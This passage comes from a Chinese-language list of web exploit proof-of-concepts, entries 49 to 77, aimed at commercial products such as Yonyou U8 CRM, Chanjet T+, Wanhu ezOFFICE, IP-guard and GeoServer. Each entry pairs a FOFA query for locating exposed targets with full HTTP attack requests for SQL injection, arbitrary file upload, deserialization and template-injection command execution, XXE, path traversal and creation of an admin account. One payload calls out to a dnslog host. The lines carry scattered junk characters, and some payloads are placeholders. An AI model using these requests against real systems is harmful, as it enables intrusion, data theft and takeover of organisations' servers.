/ {$ U# L, z1 ]: E" s5 LPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
; D; }' b2 r& e& b# }& J3 W- hHost: your-ip
5 Y* O( Y  o( B# Q% x. DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" ^1 v) G2 s  q( i. i) DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 l5 P$ j+ e/ V/ Q) |* ZAccept-Encoding: gzip, deflate
  I# S" _4 T5 A( {0 D, FContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
) P! H5 D6 x% a8 Y% v- u! s. lContent-Disposition: form-data; name="file"; filename="s.php"
1231
9 X% [7 Y" Q# r0 [; G3 O5 TContent-Type: application/octet-stream
% [/ A' [' G( _------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
& P6 K9 c/ x, f4 e  X- O' p; [upload
------269520967239406871642430066855--

1 Q4 J7 t8 b( U) Y
+ i% ]4 W+ P( T, x, |  h7 o- M49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
  `0 }" u8 a1 V8 i% Z2 J6 J
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
* G( ^- o6 M# p. y" w7 w2 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, n+ i6 d" ?6 l  b* ~# \Accept-Encoding: gzip, deflate
4 V+ w& D5 K3 C1 U2 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' I$ R) U7 o5 T6 xConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
' |7 q+ M$ N1 T/ c& _
-----------------------------vvv3wdayqv3yppdxvn3w
! M- V: U) f" [. o) ?! `4 wContent-Disposition: form-data; name="file"; filename="%s.php "
6 {, K) [3 y9 s- v; g, MContent-Type: application/octet-stream
* {9 K" b! F# F9 M
wersqqmlumloqa
) h( C& G* u* W  _- e8 B-----------------------------vvv3wdayqv3yppdxvn3w
/ {+ a+ E. e( o& E7 }' AContent-Disposition: form-data; name="upload"
, b; z! Y8 ~, B& X2 |/ ]
upload
; z( R- {! ~9 I8 j5 x8 z$ l, L: d-----------------------------vvv3wdayqv3yppdxvn3w--
  D8 K  g) K9 l3 n2 [' v" e& H

+ ?/ k$ _1 h9 Jhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
- L( h" {: y6 Z7 a8 o
50. QDocs Smart School 6.4.1 filterRecords SQL注入
% h, @6 ^! z: ]1 mFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
) p2 Y( z- l6 y. W  l8 _  C* `Content-Length: 224
; N( X- Q6 R; B  O" m: w# p! \Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 |2 p9 X5 q' G0 ]! x" {! R; U
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
  P/ V! C7 `6 @) ~  N

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
1 l2 M, l0 ]$ {+ V1 r1 QFOFA：app="云时空社会化商业ERP系统"
2 K. U/ H: n1 `$ u& I5 n0 D* n% UGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
- v! ^  @9 U. {User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 @# J. w  Z9 j* u+ t: ]6 V3 wAccept-Encoding: gzip, deflate
' W; ~* Y3 s- e( J& u  pAccept-Language: zh-CN,zh;q=0.9
7 P, F7 l3 Q2 g* S: wConnection: close
' q! V+ s& L2 U& E/ S% o2 d( h7 m

52. 泛微E-Office json_common.php sql注入
: n) j. v$ K+ o1 g: G2 h! E' \! hFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
: l  @+ a8 \( K5 U4 G: VHost: 192.168.86.128:8097
3 c- a. K1 b8 E; VUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
; u# t& k# e2 q  cAccept-Language: en
Content-Type: application/x-www-form-urlencoded
2 W7 b8 q( {, [  {Accept-Encoding: gzip
# X  c4 c* d. p0 p# a
* R3 P  \: D8 v. [; Ktfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


& d  s$ K! P' u$ h9 U9 ?53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
- v9 K8 P) \0 Z' e. X: g* kFOFA：app="畅捷通-TPlus"
8 @4 q3 G* I* O2 F第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
3 j1 @2 I1 a( I# i* Z3 T% J/ Y"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
; v0 ~# H6 E* u; R
6 S! S; R1 c* w" F  x
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
  V1 R4 ?; V. \Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
" K! W" M1 H. M$ F8 R% F4 I& \/ q. m
. W" z" R  |: Y" r{
"storeID":{
6 y6 ?1 V! |/ Y( _ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
: R( H# g8 j; U+ n "MethodName":"Start",
& m9 o7 B, @' ~( L* R2 M  "ObjectInstance":{
' m' S, J' v+ O* t, _: \   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
* R6 H9 d7 ~' M% \0 ^4 W$ i) d; j    "StartInfo":{
+ K+ ?7 e% }3 f# k   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- Q8 @3 r4 z1 X* U4 B; A( \, ^    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
: g5 @9 y' H" n) T    }
  }
  }
  }9 ~4 U4 A: E2 l8 N0 x9 K}

9 @) y  `& K! u0 f- I6 h8 z. z6 z
) _$ F# y: j  J2 d0 V4 Y第二步，访问如下url
8 r( r3 K' b$ ?' ?# y/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
9 }9 s6 L9 X2 t6 z
; U( U" b$ T8 z) S. S
55. 畅捷通T+ getdecallusers信息泄露
% Z1 c2 m: B& A5 uFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
' V6 B2 j8 U6 Q1 b$ T/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 w3 d, X, h4 R# j* E4 NFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
2 C' `. U: r% \# ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
5 d& ~+ Z* s: Y( F0 M2 sContent-Type: application/json
5 I. I! O# i% E3 i+ b$ M
# i6 J1 ~+ i& [+ v{
2 ?8 q: L; }4 a1 E6 F( x  "storeID":{
# [  U% |; g, X- r    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
! _7 j$ `9 ~' b8 h0 `       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
4 a9 a" f  _5 V, O* U% _7 n# f: f       }
' Q! ~1 y, Z/ f    }
& N) M. d& j1 X+ ]" S  q8 \  }
}

. J5 r" F. X# y9 ^$ L) k6 J7 p3 U
' m. `+ {6 }1 `( q57. 畅捷通T+ keyEdit.aspx SQL注入
, g( F5 L! ^" }/ nFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
) ]# ^9 }. h! L! P0 O6 MHost: host
8 h' r! \2 A5 t, i( tUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 F5 J3 E+ n1 T0 s  K6 q  i! RAccept-Charset: utf-8
9 W) u6 Y! J2 G1 ]7 d6 A9 O5 XAccept-Encoding: gzip, deflate
Connection: close
* ~5 D6 ~1 f7 R" S: s9 E0 d1 F( O6 p

& m: l3 c9 Q8 T' e58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
4 ]3 F  S9 a" e( Y4 I" y6 i- W$ DAccept-Encoding: gzip, deflate
Connection: close
, c0 `: P! ^0 r7 o) z8 A& W
0 R" }/ p: O- }% D9 t5 s9 h
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
) S" d; y) R  R% s! K! a$ mFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
7 K; o0 ^1 v& a( SHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
- W; W% r8 L+ q6 S% OContent-Length: 1669
Accept: */*
Accept-Language: en
8 I4 S) y; q1 z' H. A: YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1 G, D6 x0 r+ D
PAYLOAD
: _, q. A7 R- }

7 j1 w0 t5 I8 d8 T60. 百卓Smart管理平台 importexport.php SQL注入
  P) t2 ^' k5 v7 l% T; K, o- |FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
5 }5 n/ W9 H- [3 D0 e  P( C0 ?Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 m6 t/ J, |9 Y5 o  ]1 Z- RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* n) {/ V- E: n' F: c: e  a. aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& k0 f1 B/ A$ z8 @- \' \
6 T6 q# N( W% o" ?, _
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
- ~3 E9 I2 T- E5 d; t9 cPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
" N  D3 r. r3 A3 H6 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& X1 ], d" y4 s  l) hConnection: close
! C5 _6 K4 n  q$ }; h8 }Content-Length: 27
$ J8 a5 d) N6 b5 g- x1 X9 v3 M' vAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
: U' u4 H6 C; lContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
" O  O. X: c& ~) {  G) D

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
2 F) \1 O: e) ~9 X# b) `  I# k. dGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
, `- ]) S0 z) P# I- ?. vAccept: */*
Accept-Language: en
, G* I+ A% ]7 s- L, PAccept-Encoding: gzip
3 E- v( r. n: g7 g3 A3 Y' R9 y8 O

' v3 a# t/ w, F) m" X7 j访问

+ {) x$ C4 R$ o# cGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
4 u$ y* ^. S: b! O% z% nHost: x.x.x.x


63. IP-guard WebServer任意文件读取
% j+ K6 D; T5 O3 e1 I3 hIP-guard < 4.82.0609.0
6 ?3 B! Q' `; q' F* `, wFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. L' S6 E# N; n' K* n& i- W9 z" kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

5 g- s9 s: b) F  V; r1 Opath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
) f% ~* N+ T0 m' y6 `Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
0 y& \4 j9 ~7 v( e1 |8 Y: PConnection: close
$ O! N$ c2 A$ q$ t+ i! y5 c: iContent-Length: 369
Accept: */*
Accept-Language: en
' h0 J# O# U' `Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
2 h) F) o' e+ K. ?! c% l) r<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
1 J0 ^# r9 E3 W9 {8 @    </GetOSpById>
) o$ I, ?, I& t4 }2 f$ ?$ S  </soap:Body>
! t* `& s; j& |* @</soap:Envelope>
6 g/ c+ s8 F: [7 D4 `
4 q8 K/ ~, N9 h1 f8 q7 e8 d6 a
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
7 k" V$ G# ^( w/ ]) Q  ^+ G' D7 Y. cFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
0 S  Z: E1 `' XUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
6 j- E) @& H& u; `4 B, ?Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
' l$ y4 _6 W( _' N) D  i5 s4 Q3 jAccept-Language: en
Content-Length: 174
- ]) {3 v. p/ G# `7 j9 B
% k4 E$ g6 V' i. T$ p( yoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

* S3 `, q; P9 t  T; W
" t5 D1 L$ W3 `# n66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

( {$ z7 B+ X3 ~' \GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
2 H  `. I. x. v6 z$ EHost: x.x.x.x
1 \6 H, Q- j4 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 p8 A" ]7 o) L! OConnection: close
. P8 y; F( \3 P' s' L5 s' ]Accept: */*
6 A- ], ]: X+ x( yAccept-Language: en
Accept-Encoding: gzip
9 Z7 P6 o! d& S, p/ H

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
7 X, Q$ H: O  f& @* l% U
" v% Q& A& b+ p5 i9 x67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
$ r: v$ x0 J- l1 H" k) N$ [# TnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
" \! J( S# m, @9 ~4 u% jPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
) }& L+ y9 p/ X( `1 d7 U/ g" G" XHost: x.x.x.x
9 P, X- A, V9 A+ o; P3 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
3 ^- n" m7 x4 `( ~4 i* iContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
3 u* j  o  j7 o6 Y/ [2 hConnection: close
7 A5 s" E' l& @. z. g) j: uContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
2 |4 K: k3 M/ q3 R7 d" bDNT: 1
Upgrade-Insecure-Requests: 1
8 o) @. |# m/ _0 m( Y) W5 h5 Q
--ufuadpxathqvxfqnuyuqaozvseiueerp
8 ?: K1 `/ p. z1 P5 N7 t4 cContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
! ?) H8 i( i  ?, H
! w% O4 f& g' \& P, }4 X; R0 W<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
4 H" a* `2 ]5 ]8 y3 N

- ?1 \. ]: |0 K' z文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

% P5 r1 ~. K, D8 |. p6 y2 c68. 万户ezOFFICE wf_printnum.jsp SQL注入
: L! p, S* I: T1 ?) q  p- HFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
4 }7 v. G4 R/ y( G" s/ WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
' M3 X- E; T3 ^5 b2 F" m5 q9 bAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
' ^5 K2 w; w# w" h; n/ jAccept-Language: zh-CN,zh;q=0.9
( M6 k9 \5 C5 k' }6 w9 ]Connection: close
+ x* e, d- A4 {0 }; N8 y
! ~0 w, e$ q5 M; [- ?% M
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
. W3 s3 e- ~( ~5 [* ^GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
! k$ g3 m3 b, W! k. _3 X( y, s; mUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
9 J+ h7 X$ m2 V1 I5 b0 gConnection: keep-alive
# I9 {7 x& T" g- g4 A
  {+ _2 ~! J/ e' J- d- b
: T/ i  Y5 Y5 b0 i5 L5 z70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
) P* K/ D9 n$ Y1 T7 ^1 u5 MHost: {{Hostname}}
$ t- ?9 j; v4 f* y# vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. V' b9 Z& |4 _2 L# ~SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
7 ~$ [; \! k5 R0 f/ |1 t7 yContent-Type: application/x-www-form-urlencoded
6 d2 ~- B* }+ x7 I9 t. QTYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
! i( A: n' j& D  u1 s' D& ]

! ~/ _$ y$ y0 n: i' b" h3 y3 f71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  ?1 B$ S3 e: j% L; P- H9 ~* cFOFA：body="PM2项目管理系统BS版增强工具.zip"
# o- o% C1 a$ h8 h8 WGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 i; x2 @* j; _' c" iConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 y" J, z2 w$ t2 P- N. Y; T% |' NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
" g/ X* i$ g/ oPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
- g3 w9 \( e9 ^0 d; xHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
1 o- ]: s9 W# b. a9 B) ?Accept-Encoding: gzip

# N; q. _$ L( P& h# z# @S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
) \* I. J, R) P  X3 `$ I8 A' Z

73. GeoServer wms远程代码执行
0 F7 _% y7 E: rFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
5 Z; j( t7 \& Y2 }Accept-Encoding: gzip, deflate
2 }; s% h4 G) h: uConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD

- f, i) ~  b, \- n5 j
+ f( B$ @. g7 B. I% h74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
" D+ M- ?: v- r- y
4 H$ E3 X" R' _7 f& L7 C" t, A75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
' |* L( i" J, y1 T: IAccept-Language: en
Accept-Encoding: gzip
' d. @# P3 D7 l4 ~* L; w

0 r" l  K) _3 F; x, ]: TGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


- b  t* n: u* F7 R. A7 l1 m" q76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
, l1 P  ^6 j1 \& BPOST /service_transport/service.action HTTP/1.1
- T$ H  h. \* j+ F9 W0 P* IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 u8 F2 j1 z- A) v" G* {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- a9 J) x+ v8 A( q! _9 O) aCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
; z  H, j; O, K) l& }Upgrade-Insecure-Requests: 1

{
# ?1 o( I9 Y) m"command": "GetFZinfo",
- i# K; ~/ B" d* d  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
9 \8 \5 O6 z* j9 B; u  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
% }) }9 \# k/ e$ H, ?; r1 |Host: x.x.x.x
, ?- V; G# C7 w

. N4 w0 {1 s- {( @* u5 |) M0 _
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
. p) }: b$ L8 n: cFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
( h) D/ V* ?2 ]! w* n) r! VContent-Length: 433
$ ~+ v, d) u8 h$ B* nAccept: */*
Accept-Encoding: gzip, deflate
5 j6 U* d# i0 K. E: D0 tAccept-Language: zh-CN,zh;q=0.9
, Y/ w3 ^: t$ \1 ?2 tContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
